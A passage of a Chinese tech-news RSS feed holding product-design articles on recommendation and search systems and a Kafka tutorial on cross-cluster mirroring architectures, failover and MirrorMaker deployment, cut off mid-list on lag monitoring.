 &lt;p&gt;它待解决的问题是“从海量的内容中，找到用户喜欢的内容”；&lt;/p&gt;
 &lt;p&gt;他的输入是“用户画像和内容特征”；&lt;/p&gt;
 &lt;p&gt;计算逻辑：将这些内容特征按一定规则转化为喜欢度；&lt;/p&gt;
 &lt;p&gt;输出：将内容按喜欢度从高到低排序。&lt;/p&gt;
 &lt;p&gt;由于我推荐系统的课程还未结束，先不展开这部分内容了。后面博客会对上文进行展开，有兴趣的同学，欢迎关注。&lt;/p&gt;
 &lt;p&gt;说明：以上内容来源于个人阅读和付费课程的归纳整理。&lt;/p&gt;
 &lt;p&gt; &lt;/p&gt;
 &lt;p&gt;本文由 @皮带 原创发布于人人都是产品经理。未经许可，禁止转载&lt;/p&gt;
 &lt;p&gt;题图来自Unsplash，基于CC0协议&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>产品设计 2年 今日头条 初级 推荐系统</category>
      <guid isPermaLink="true">https://itindex.net/detail/59475-%E4%BB%8A%E6%97%A5%E5%A4%B4%E6%9D%A1-%E6%8E%A8%E8%8D%90%E7%B3%BB%E7%BB%9F</guid>
      <pubDate>Thu, 18 Apr 2019 11:57:41 CST</pubDate>
    </item>
    <item>
      <title>4个步骤，小结搜索系统</title>
      <link>https://itindex.net/detail/59101-%E6%90%9C%E7%B4%A2-%E7%B3%BB%E7%BB%9F</link>
      <description>&lt;blockquote&gt;  &lt;p&gt;搜索系统作为用户自行使用的引导工具，重要程度不言而喻；本文主要从4步：需求识别、检索、排序、展现来总结搜索系统的工作机制。&lt;/p&gt;&lt;/blockquote&gt;
 &lt;p&gt;  &lt;img alt="" height="450" src="http://image.woshipm.com/wp-files/2018/12/EPJFgbwuRRkJ29uePs8F.png" width="800"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;搜索是一个比较有年份的功能，他不是一个简单的搜索框，毕竟搜索造就了一个百度帝国。&lt;/p&gt;
 &lt;p&gt;搜索系统在产品架构中是帮助用户搜索到他们想要的内容，当用户不知道如何通过其他路径直接获取特定内容的时候才会使用，也就是说搜索是用户自行使用最后的一个引导工具，重要程度不言而喻。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="499" src="http://image.woshipm.com/wp-files/2018/12/WQHcOtO9On0NqH4eecHy.png" width="799"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;首先对搜索建立一个整体大概的认知，搜索工作机制如上图，主要分为4步：需求识别、检索、排序、展现。&lt;/p&gt;
 &lt;h2&gt;一、需求识别&lt;/h2&gt;
 &lt;p&gt;用户在搜索框中输入的关键词即用户想要查询的内容，首先需要机器去识别出用户想要的是什么，才能把用户想要的东西递给用户，首先介入工作就是分词系统，通过对关键词的整分词匹配或通过语义解析尽可能的了解当前用户的需求。&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;检索：了解用户想要什么东西了后，就去仓库里面把不同区存在的货物提取出来，准备交付。&lt;/li&gt;
  &lt;li&gt;排序：为了卖出更多的货物，会对自己的仓库定一系列的规则，如：近期要卖的优先、信誉好的供应商优先等进行排序，保证给到用户我们最好的货物。&lt;/li&gt;
  &lt;li&gt;展现：知道用户想要什么、也从仓库提取了后，按照排序规则展现给用户就可以了。&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;接下来落实到具体的产品方案，坚持一个底层原则：从业务中来，到业务中去。&lt;/p&gt;
 &lt;p&gt;明确本次搜素策略优化目标，围绕目标高举高打：&lt;/p&gt;
 &lt;p&gt;如：能够准确识别用户query背后对商品的需求，并根据排序规则在页面反馈结果集。&lt;/p&gt;
 &lt;p&gt;关键衡量指标：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;商品需求识别准确率：已识别出的query中真正带有商品需求的query占比，越高越好；&lt;/li&gt;
  &lt;li&gt;商品需求识别召回率：已识别query中真正带有商品需求数量的query在所有带有商品需求query中占比，越高越好。&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;检验策略效果计算方式：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;正确率 = 提取出的正确信息条数 / 提取出的信息条数&lt;/li&gt;
  &lt;li&gt;召回率 = 提取出的正确信息条数 / 样本中的信息条数&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;想要更好的优化方案，可以对现有的搜索关键词和模块数据进行分析，从某交易产品月上万个搜索关键词中，随机抽取了1000条搜索关键词字数分布如下图：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="290" src="http://image.woshipm.com/wp-files/2018/12/fUJ0czzrsgLCzTB93Siq.png" width="483"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;通过对用户输入的关键词进行分析，结论：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;用户输入关键词数量：2、3、4占据总字数的80%，所以：我们需要做一个搜索联想提升用户搜索效率。&lt;/li&gt;
  &lt;li&gt;用户关键词主要分布在：品牌、商品名、品类名、其他特殊字词等，所以：我们要根据各种场景细化出不同的排序方案。&lt;/li&gt;
  &lt;li&gt;用户有较多次出现搜索为空的情况，引起这种结果有两种可能：① 搜索现有的准确率较低。 ② 现在平台商品SKU 较少。&lt;/li&gt;
&lt;/ol&gt;
 &lt;h2&gt;二、用户搜索输入分析&lt;/h2&gt;
 &lt;p&gt;该部分需要考虑到用户在使用搜索时有什么使用场景，在不同场景下有怎样的行为反应：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="182" src="http://image.woshipm.com/wp-files/2018/12/TPKwR8vvLrCHvzskqBfg.png" width="601"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;三、排序计算方式&lt;/h2&gt;
 &lt;p&gt;排序是整个搜素平台最为关键的一环，此处需要权衡商家、用户、平台的综合利益考虑，如商品搜索可以将特征维度分为：商品维度、卖家维度、平台维度、个性化、反作弊等维度，通过落地到自身业务的当前状态，可得出关键参考点有：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;商品名称：商品的全称匹配率。&lt;/li&gt;
  &lt;li&gt;副标题：副标题与关键词的匹配率。&lt;/li&gt;
  &lt;li&gt;销量：商品销售数据权重较高。&lt;/li&gt;
  &lt;li&gt;标签：有标签的商品比没有标签的商品权重更高，标签排名：促销（满减、N元任选）&amp;gt;秒杀&amp;gt;包邮 &amp;gt;其他。&lt;/li&gt;
  &lt;li&gt;权重参考值排序：商品名称 &amp;gt; 副标题 &amp;gt; 销量 &amp;gt; 标签&lt;/li&gt;
&lt;/ul&gt;
 &lt;h2&gt;四、展现&lt;/h2&gt;
 &lt;p&gt;最后根据用户搜索不同的关键词，使用特定的排序方案，输入机器得出的结果集 ：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="http://www.woshipm.com/Users/11248/AppData/Local/YNote/data/qqEEDA552ECC63C6B6F4C233E5AE5D0D42/fb3f8336ee6240818c75cb61514f50a2/clipboard.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="214" src="http://image.woshipm.com/wp-files/2018/12/jlp7Hr82rSmf2n3ueVoZ.png" width="601"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;本文由 @World 原创发布于人人都是产品经理，未经许可，禁止转载。&lt;/p&gt;
 &lt;p&gt;题图来自 Unsplash，基于CC0协议。&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>产品设计 2年 初级 搜索系统</category>
      <guid isPermaLink="true">https://itindex.net/detail/59101-%E6%90%9C%E7%B4%A2-%E7%B3%BB%E7%BB%9F</guid>
      <pubDate>Wed, 19 Dec 2018 22:04:37 CST</pubDate>
    </item>
    <item>
      <title>Kafka系列（八）跨集群数据镜像</title>
      <link>https://itindex.net/detail/58558-kafka-%E7%B3%BB%E5%88%97-%E9%9B%86%E7%BE%A4</link>
      <description>&lt;blockquote&gt;
    &lt;p&gt;本系列文章为对《Kafka：The Definitive Guide》的学习整理，希望能够帮助到大家&lt;/p&gt;
&lt;/blockquote&gt;

 &lt;p&gt;在之前系列文章中，我们讨论了一个Kafka集群的搭建、维护和使用，而在实际情况中我们往往拥有多个Kafka集群，而且这些Kafka集群很可能是相互隔离的。一般来说，这些集群之间不需要进行数据交流，但如果在某些情况下这些集群之间存在数据依赖，那么我们可能需要持续的将数据从一个集群复制到另一个集群。而由于“复制”这个术语已经被用于描述同一集群内的副本冗余，因此我们将跨集群的数据复制称为数据镜像（Mirroring）。另外，Kafka中内置的跨集群数据复制器称为MirrorMaker。&lt;/p&gt;

 &lt;h2&gt;跨集群数据镜像的用户场景&lt;/h2&gt;

 &lt;p&gt;以下为跨集群数据镜像的一些典型用户场景：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;区域集群与中心集群：很多公司往往有多个数据中心，而且每个数据中心维护独立的Kafka集群。一般的应用可能只需要跟本地集群通信即可，但存在一些应用需要所有集群的数据。比如，一个公司在每个城市都有一个数据中心，并且该中心维护相应城市的产品供需数据以及价格数据；这些数据需要汇总到一个中心集群以便进行公司维度的营利分析。&lt;/li&gt;
    &lt;li&gt;数据冗余：为了防止一个集群故障导致应用不可用，我们需要把数据同步到另一个集群，这样当一个集群出现故障，可以把应用的流量切换到备份集群。&lt;/li&gt;
    &lt;li&gt;云迁移：一般公司都维护有自己的数据中心，但随着云设施越来越便宜，很多公司会选择将服务迁移到云上。数据迁移与复制也是其中一个重要部分，我们可以使用Kafka Connect将数据库更新同步到本地Kafka集群，然后再把数据从本地Kafka集群同步到云上的Kafka集群。&lt;/li&gt;
&lt;/ul&gt;

 &lt;h2&gt;多集群架构&lt;/h2&gt;

 &lt;p&gt;上面列举了多集群的用户场景，现在来看下多集群的常见架构。但在讨论架构前，先来了解跨集群通信的一些现实因素。&lt;/p&gt;

 &lt;h3&gt;跨集群通信的现实因素&lt;/h3&gt;

 &lt;ul&gt;
    &lt;li&gt;高延迟：由于集群间的距离较长以及网络拓扑节点增多，集群的通信延迟也会增加。&lt;/li&gt;
    &lt;li&gt;带宽有限：广域网（WAN）带宽通常比机房内带宽要小得多，并且可用带宽可能无时无刻都在变化。&lt;/li&gt;
    &lt;li&gt;高成本：无论是自己维护的集群还是云上的集群，集群间通信的成本都是非常高的。这是因为带宽有限并且增加带宽会带来昂贵的成本，而且服务提供商对于跨集群、跨区域、跨云的数据传输会额外收取费用。&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;Kafka的broker和生产者/消费者客户端都是基于一个集群来进行性能调优的，也就是说在低延迟和高吞吐的假设前提下，经过测试与验证从而得到了Kafka的超时和缓冲区默认值。因此，一般我们不推荐同一个集群的不同broker处于多个数据中心。大多数情况下，由于高延迟和网络错误，最好避免生产数据到另一个集群。当然，我们可以通过提高重试次数、增加缓冲区大小等手段来处理这些问题。&lt;/p&gt;

 &lt;p&gt;这么看，broker跨集群、生产者-broker跨集群这两种方案都被否决了，那么对于跨集群数据镜像，我们只剩下一种方案：broker-消费者跨集群。这种方案是最安全的，因为即便存在网络分区导致消费者不能消费数据，这些数据仍然保留在broker中，当网络恢复后消费者仍然可以读取。也就是说，无论网络状况如何，都不会造成数据丢失。另外，如果存在多个应用需要读取另一个集群的数据，我们可以在每个数据中心都搭建一个Kafka集群，使用集群数据镜像来只同步一次数据，然后应用从本地集群中消费数据，避免重复读取数据浪费广域网带宽。&lt;/p&gt;

 &lt;p&gt;下面是跨集群架构设计的一些准则：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;每个数据中心都应该至少有一个Kafka集群；&lt;/li&gt;
    &lt;li&gt;集群间尽可能只同步一次数据；&lt;/li&gt;
    &lt;li&gt;跨集群消费数据由于跨集群生产数据。&lt;/li&gt;
&lt;/ul&gt;

 &lt;h3&gt;中心集群架构&lt;/h3&gt;

 &lt;p&gt;下面是多个本地集群和一个中心集群的架构：&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="hub-spoke" src="http://www.dengshenyu.com/assets/kafka-mirror/hub-spoke.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;简单情况下只存在两个集群，即主集群和副本集群：&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="simple-hub-spoke" src="http://www.dengshenyu.com/assets/kafka-mirror/simple-hub-spoke.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;这种架构适用于，数据分布在多个数据中心而某些应用需要访问整体数据集。另外每个数据中心的应用可以处理本地数据，但无法访问全量数据。这种架构的主要优点在于，数据生产到本地，而且跨集群只复制一次数据（到中心集群）。只依赖本地数据的应用可以部署在本地集群，而依赖多数据中心的应用则部署在中心集群。这种架构也非常简单，因为数据流向是单向的，这使得部署、运维和监控非常容易。&lt;/p&gt;

 &lt;p&gt;它的主要缺点在于，区域的集群不能访问另一个集群的数据。比如，我们在每个城市维护一个Kafka集群来保存银行的用户信息和账户历史，并且将这些数据同步到中心集群以便做银行的商业分析。当用户访问本地的银行分支网站时，这些请求可以被分发到本地集群处理；但如果用户访问异地的银行分支网站时，要么该异地集群跟中心集群通信（此种方式不建议），要么直接拒绝请求（是的非常尴尬）。&lt;/p&gt;

 &lt;h3&gt;多活架构&lt;/h3&gt;

 &lt;p&gt;这种架构适用于多个集群共享数据，如下所示：&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="active-active" src="http://www.dengshenyu.com/assets/kafka-mirror/active-active.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;此架构主要优点在于，每个集群都可以处理用户的任何请求并且不阉割产品功能（与前一种架构对比），而且就近处理用户请求，响应时间可以大大降低。其次，由于数据冗余与弹性控制，一个集群出现故障，可以把用户请求导流到别的集群进行处理。&lt;/p&gt;

 &lt;p&gt;此架构主要缺点在于，由于多个集群都可以处理用户请求，异步的数据读取和更新无法保证全局数据一致性。下面列举一些可能会遇到的挑战：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;如果用户发送一个事件到一个集群，然后从其他集群读取事件信息，那么由于事件复制延迟，很有可能读取不到该事件。比如，用户添加一本书到心愿单后，访问心愿单却看不到添加的书。为了解决这个问题，研发人员可能会将用户与集群进行绑定，使用同一个集群来处理用户请求（当然在集群故障情况下会转移）。&lt;/li&gt;
    &lt;li&gt;一个集群包含用户订购A的事件，另一个集群包含用户订购B的事件，而且这两个事件是几乎同时的。经过数据镜像后，每个数据中心都有这两个事件，而这两个事件可能是冲突的。我们需要决定哪个事件才是目前正确的最终事件么？如果需要，那么我们得制定规则来使得多个集群的应用都能得出相同的结论。或者我们可以认为这两个事件都是正确的，认为用户同时订购了A和B。亚马逊以前采取这种方式来处理冲突，但像证券交易这种机构不能采取这种方式。这个问题的解决方案是因地制宜的，我们需要知道的是一旦采取这种架构，冲突是无法避免的。&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;如果我们找到多集群异步读写的数据一致性问题，那么这种架构是最好的，因为它是可扩展的、弹性的，并且相对于冷热互备来说性价比也不错。&lt;/p&gt;

 &lt;p&gt;多活架构的另一个挑战是，如果存在多个数据中心，那么每一对中心都需要通信链路。也就是说，如果有5个数据中心，那么总共需要部署20个镜像进程来处理数据复制；如果考虑高可用，那么可能需要40个。&lt;/p&gt;

 &lt;p&gt;另外，我们需要避免事件被循环复制和处理。对于这个问题，我们可以将一个逻辑概念的主题拆分成多个物理主题，并且一个物理主题与一个数据中心对应。比如，users这个逻辑主题可以拆分成SF.users和NYC.users这两个物理主题，每个主题对应一个数据中心；NYC的镜像进程从SF的SF.users读取数据到本地，SF的镜像进程从NYC的NYC.users读取数据到本地。因此每个事件都只会被复制一次，而且每个数据中心都包含SF.users和NYC.users主题，并且包含全量的users数据。消费者如果需要获取全量的users数据，那么需要消费所有本地.users主题的数据。&lt;/p&gt;

 &lt;p&gt;需要提醒的是，Kafka正在计划添加记录头部，允许我们添加标记信息。我们在生产消息时可以加上数据中心的标记，这样也可以避免循环数据复制。当然，我们也可以自己在消息体中增加标记信息进行过滤，但缺点是当前的镜像工具并不支持，我们得自己开发复制逻辑。&lt;/p&gt;

 &lt;h3&gt;冷热互备架构&lt;/h3&gt;

 &lt;p&gt;有时候，多集群是为了防止单点故障。比如说，我们可能有两个集群，其中集群A处于服务状态，另一个集群B通过数据镜像来接收集群A所有的事件，当集群A不可用时，B可以启动服务。在这种场景中，集群B包含了数据的冷备份。架构如下所示：&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="active-standby" src="http://www.dengshenyu.com/assets/kafka-mirror/active-standby.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;这种架构的优点在于搭建简单并且适用于多种场景。我们只需搭建第二个集群，设置一个镜像进程来将源集群的所有事件同步到该集群即可，并且不用担心发生数据冲突。缺点在于，我们浪费了一个集群资源，因为集群故障通常很少发生。一些公司会选择搭建低配的备份集群，但这样会存在一个风险，那就是无法保证出现紧急情况时该备份集群是否能支撑所有服务；另一些公司则选择适当利用备份集群，那就是把一些读取操作转移到备份集群。&lt;/p&gt;

 &lt;p&gt;集群故障转移也具有一些挑战性。但无论我们选择何种故障转移方案，SRE团队都需要进行日常的故障演练。因为，即便今天故障转移是有效的，在进行系统升级之后很可能失效了。一个季度进行一次故障转移演练是最低限度，强大的SRE团队会演练更频繁，Netflix著名的Chaos Monkey玩的更溜，它会随机制造故障，也就是说故障每天都可能发生。&lt;/p&gt;

 &lt;p&gt;下面来看下故障转移比较具有挑战性的地方。&lt;/p&gt;

 &lt;p&gt;  &lt;strong&gt;数据损失与不一致&lt;/strong&gt;&lt;/p&gt;

 &lt;p&gt;很多Kafka的数据镜像解决方案都是异步的，也就是说备份集群不会包含主集群最新的消息。在一个高并发的系统中，备份集群可能落后主集群几百甚至上千条消息。假如集群每秒处理100万条消息，备份集群与主集群之间有5ms的落后，那么在理想情况下备份集群也落后将近5000条消息。因此，我们需要对故障转移时的数据丢失做好准备。当然在故障演练时，我们停止主集群之后，可以等待数据镜像进程接收完剩余的消息，再进行故障转移，避免数据丢失。另外，Kafka不支持事务，如果多个主题的数据存在关联性，那么在数据丢失的情况下可能会导致不一致，因此应用需要注意处理这种情况。&lt;/p&gt;

 &lt;p&gt;  &lt;strong&gt;故障转移的开始消费位移&lt;/strong&gt;&lt;/p&gt;

 &lt;p&gt;在故障转移中，其中一个挑战就是如何决定应用在备份集群的开始消费位移。下面来讨论几个可选的方案。&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;自动位移重置：Kafka消费者可以配置没有已提交位移时的行为，要么从每个分区的起始端消费，要么从每个分区的最末端消费。如果我们的消费者提交位移到Zookeeper，而且没有对Zookeeper中的位移数据进行镜像备份，那么我们需要从这两个选项中做出选择。选择从起始端开始消费的话，可能会存在大量重复的消息；选择从最末端消费的话，可能会存在消息丢失。如果这两种情况可以忍受的话，那么建议选择这种方案，因为这种方案非常简单。&lt;/li&gt;
    &lt;li&gt;复制位移主题：如果我们使用0.9或者更高版本的Kafka消费者，消费者会提交位移到一个特殊的主题，_consumer_offsets。如果我们复制这个主题到备份集群，那么备份集群的消费者可以从已提交的位移处开始消费。这种方案也很简单，但是有一些情况需要注意。首先，主集群和备份集群的消息位移不能保证是一样的。举个例子，我们在主集群中只保留3天的数据，在主题创建并且使用了一个星期之后，我们开始进行备份集群的数据镜像；在这个场景中，主集群的最新消息位移可能到达57000000，而备份集群的最新消息位移是0，并且由于主集群中老的数据已经被过期删除了，备份集群的消息位移跟主集群始终是不一样的。其次，即便我们在创建主题就进行数据镜像，由于生产者失败重试，仍然会导致不同集群的消息位移是不同的。最后，即便主集群和备份集群的消息位移完全一致，由于主集群和备份集群存在一定的消息落后并且Kafka不支持事务，消费者提交的消息位移可能在相应消息之前或之后到达。因此，在故障转移时消费者可能根据位移找不到匹配的消息，或者位移落后于主集群。总的来说，如果备份集群的提交位移比主集群的提交位移更老，或者由于重试导致备份集群的消息比主集群的消息多，那么会存在一定的数据重复消费；如果备份集群的提交位移没有匹配到相应的消息，那么我们可能仍然需要从主题起始端或者最末端进行消费。因此，这种方案能够减少数据重复消费或者数据丢失，但也不能完全避免。&lt;/li&gt;
    &lt;li&gt;基于时间的故障转移：如果我们使用0.10.0或者更高版本的Kafka消费者，每条消息都会包含发送到Kafka的时间戳。而且，0.10.1.0或者更高版本的broker会建立一个索引，并且提供一个根据时间戳来查询位移的API。因此，假如我们知道故障在某个时间发生，比如说为早上4:05，那么我们可以让备份集群的消费者从早上4:03处开始消费数据，虽然这样会有两分钟的数据重复消费，但至少数据没有丢失。这个方案的唯一问题是，我们怎么告诉备份集群的消费者从特定时间点开始消费呢？一个解决思路是，我们在应用代码中支持指定开始消费的时间，然后使用API来获取该时间对应的位移，然后从该位移处开始消费处理。但如果应用代码没有支持这种功能，我们可以自己写一个小工具，该工具接收一个时间戳，然后使用API来获取所有主题分区的位移，最后提交这些位移，这样备份集群的消费组在启动时会自动获取位移，然后进行消费处理。这种方案是最优的。&lt;/li&gt;
    &lt;li&gt;外部位移映射：在上面讨论复制位移主题的时候，曾提到一个最大的挑战是主集群和备份集群的消息位移不一致。基于这个问题，一些公司选择开发自己的数据镜像工具，并且使用外部存储系统来存储集群间的消息位移映射。比如，主集群中位移为495的消息对应于备份集群中位移为500的消息，那么在外部存储系统中记录（495，500），这样在故障转移时我们可以基于主集群的已提交位移和映射来得到备份集群中的提交位移。但这种方案没有解决位移比消息提前到达备份集群的问题。这种方案比较复杂，升级集群然后使用基于时间的故障转移可能更便捷。&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;  &lt;strong&gt;故障转移之后&lt;/strong&gt;&lt;/p&gt;

 &lt;p&gt;假如故障顺利转移到备份集群，并且备份集群正常工作，那么原主集群应该怎么处理呢？可能需要将其转化为备份集群。你可能会想，能不能简单修改数据镜像工具，让其换个同步方向，从新的主集群同步数据到老的主集群？这样会导致两个问题：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;我们如何得知从什么地方开始进行数据镜像呢？这个问题跟故障转移时消费者不知道消费位移的问题是一样的，而且解决方案也会存在消息重复或者丢失的问题。&lt;/li&gt;
    &lt;li&gt;如前所述，老的主集群可能会包含备份集群没有同步的数据更新，如果只是简单的将新主集群的数据同步回来，那么这两个集群又会发生不一致的情况。&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;因此，最简单的解决方案是，清除老主集群的所有状态和数据，然后重新与新主集群进行数据镜像，这样可以保证这两个集群的状态是一致的。&lt;/p&gt;

 &lt;p&gt;  &lt;strong&gt;其他事项&lt;/strong&gt;&lt;/p&gt;

 &lt;p&gt;故障转移还有一个需要注意的地方是，应用如何切换与备份集群进行通信？如果我们在代码中直接硬编码主集群的broker，那么故障转移比较麻烦。因此，很多公司会创建一个DNS名称来解析到主集群的broker，当故障转移时将DNS解析到备份集群的broker。由于Kafka客户端只需要成功连接到集群的一个broker便可通过该broker发现整个集群，因此我们创建3个左右的DNS解析到broker即可。&lt;/p&gt;

 &lt;h3&gt;延伸集群&lt;/h3&gt;

 &lt;p&gt;延伸集群主要用来防止单个数据中心故障导致Kafka服务不可用，其解决方案为：将一个Kafka集群分布在多个数据中心。因此延伸集群与其他集群方案有本质的区别，它就是一个Kafka集群。在这种方案中，我们不需要数据镜像来同步，因为Kafka本身就有复制机制，并且是同步复制的。在生产者发送消息时，我们可以通过配置分区机架信息、min.isr、acks=all来使得数据写入到至少两个数据中心副本后，才返回成功。&lt;/p&gt;

 &lt;p&gt;这种方案的优点是，多个数据中心的数据是实时同步的，而且不存在资源浪费问题。由于集群跨数据中心，为了得到最好的服务性能，数据中心间需要搭建高质量的通信设施以便得到低延迟和高吞吐，部分公司可能无法提供。&lt;/p&gt;

 &lt;p&gt;另外需要注意的是，一般需要3个数据中心，因为Kafka依赖的Zookeeper需要奇数的节点来保证服务可用性，只要有超过一半的节点存活，服务即可用。如果我们只有两个数据中心，那么肯定其中一个数据中心拥有多数的Zookeeper节点，那么该数据中心发生故障的话服务便不可用；如果拥有三个数据中心并且Zookeeper节点均匀分布，那么其中一个数据中心发生故障，服务仍然可用。&lt;/p&gt;

 &lt;h2&gt;MirrorMaker&lt;/h2&gt;

 &lt;p&gt;Kafka内置了一个用于集群间做数据镜像的简单工具–MirrorMaker，它的核心是一个包含若干个消费者的消费组，该消费组从指定的主题中读取数据，然后使用生产者把这些消息推送到另一个集群。每个消费者负责一部分主题和分区，而生产者则只需要一个，被这些消费者共享；每隔60秒消费者会通知生产者发送消息数据，然后等待另一个集群的Kafka接收写入这些数据；最后这些消费者提交已写入消息的位移。MirrorMaker保证数据不丢失，而且在发生故障时不超过60秒的数据重复。内部架构如下所示：&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="MirrorMaker" src="http://www.dengshenyu.com/assets/kafka-mirror/mirror-maker.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;h3&gt;如何配置&lt;/h3&gt;

 &lt;p&gt;首先，MirrorMaker依赖消费者和生产者，因此消费者和生产者的配置属性对MirrorMaker也适用。另外，MirrorMaker也有自身的属性需要配置。先来看一个配置的代码样例：&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;bin/kafka-mirror-maker --consumer.config etc/kafka/consumer.properties --producer.config etc/kafka/producer.properties --new.consumer --num.streams=2 --whitelist &amp;quot;.\*&amp;quot;&lt;/code&gt;&lt;/pre&gt;

 &lt;ul&gt;
    &lt;li&gt;consumer.config：这个配置文件指定了所有消费者的属性，其中bootstrap.servers属性指定了源集群，group.id指定了所有消费者的使用的消费组ID。另外，auto.commit.enable=false这个配置最好不要更改，因为MirrorMaker根据消息是否写入目标集群来决定是否提交位移，修改此属性可能会造成数据丢失。auto.offset.reset这个属性默认为latest，也就是说创建MirrorMaker时会从该时间点开始数据镜像，如果需要对历史数据进行数据镜像，可以设置成earliest。&lt;/li&gt;
    &lt;li&gt;producer.config：这个配置文件指定了MirrorMaker中生产者的属性，其中bootstrap.servers属性指定了目标写入集群。&lt;/li&gt;
    &lt;li&gt;new.consumer：MirrorMaker可以使用0.8版本或者新的0.9版本消费者，建议使用0.9版本消费者。&lt;/li&gt;
    &lt;li&gt;num.streams：指定消费者的数量。&lt;/li&gt;
    &lt;li&gt;whitelist：使用正则表达式来指定需要数据镜像的主题。上面的例子中指定对所有的主题进行数据镜像。&lt;/li&gt;
&lt;/ul&gt;

 &lt;h3&gt;在生产环境中部署MirrorMaker&lt;/h3&gt;

 &lt;p&gt;上面的例子展示了如何使用命令行启动MirrorMaker，当在生产环境中部署MirrorMaker时，你可能会使用nohub和输出重定向来将使得它在后台运行，不过MirrorMaker已经包含-daemon参数来指定后台运行模式。很多公司都有自己的部署运维系统，比如Ansible，Puppet，Chef，Salt等等。一个更为高级的部署方案是使用Docker来运行MirrorMaker，而且越来越流行。MirrorMaker本身是无状态的，不需要任何磁盘存储，并且这种方案可以使一台机器运行多个MirrorMaker（也就是说运行多个Docker）。对于一个MirrorMaker来说，它的吞吐瓶颈在于只有一个生产者，因此使用多个MirrorMaker可以提高吞吐，而使用Docker部署多个MirrorMaker尤其方便。另外，Docker也可以支持业务洪峰低谷的弹性伸缩。&lt;/p&gt;

 &lt;p&gt;如果允许的话，建议将MirrorMaker部署在目标集群内，这是因为如果一旦发生网络分区，消费者与源集群断开连接比生产者与目标集群断开连接要安全。如果消费者断开连接，那么只是当前读取不到数据，但是数据仍然在源集群内，并不会丢失；而生产者断开连接，MirrorMaker便生产不了数据，如果MirrorMaker本身处理不当，可能会丢失数据。&lt;/p&gt;

 &lt;p&gt;但对于在集群间需要加密传输数据的场景来说，将MirrorMaker部署在源集群也是个可以考虑的方案。这是因为在Kafka中使用SSL进行加密传输时，消费者相比生产者来说性能受影响更大。因此我们可以在源集群内部broker到MirrorMaker的消费者间不使用SSL加密，而在MirrorMaker跨集群生产数据时使用SSL加密，这样可以将SSL的性能影响降到最低。另外，尽量配置acks=all和足够的重试次数来降低数据丢失的风险，而且如果MirrorMaker一旦发送消息失败最好让其暂时退出，避免丢失数据。&lt;/p&gt;

 &lt;p&gt;为了降低目标集群和源集群的消息延迟，建议将MirrorMaker部署在两台不同的机器上并且使用相同的消费组，这样一台发生故障另外一台仍然可以保证服务正常。&lt;/p&gt;

 &lt;p&gt;在生产环境中部署MirrorMaker时，监控是很重要的，下面是一些重要的监控指标：&lt;/p&gt;

 &lt;p&gt;  &lt;strong&gt;延迟监控&lt;/strong&gt;&lt;/p&gt;

 &lt;p&gt;延迟是指目标集群与源集群的消息落后间隔，间隔值通过计算源集群最新的消息与目标集群最新的消息来得到。下图中源集群最新的消息位移是7，目标集群最新的消息位移是5，延迟间隔为2。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="lag" src="http://www.dengshenyu.com/assets/kafka-mirror/lag.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;有两种方式来监控此指标，但各有优缺点：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;检测MirrorMaker提交到源集群的位移。我们可以使用kafka-consumer-groups来检测分区的最新位移以及MirrorMaker提交的位移，通过计算差值得到落后间隔。但这种计算方式不是100%准确的，因为MirrorMaker不是时刻提交位移的，默认情况下每分钟提交一次位移。因此你可能会看到间隔在一分钟内逐渐增长，然后突然降低。拿上面的例子来说，实际的间隔为2，但由于MirrorMaker没有提交位移，kafka-consumer-groups工具可能会检测到落后间隔为4。LinkedIn的Burrow工具相对来说更成熟，可以避免这种问题。&lt;/li&gt;
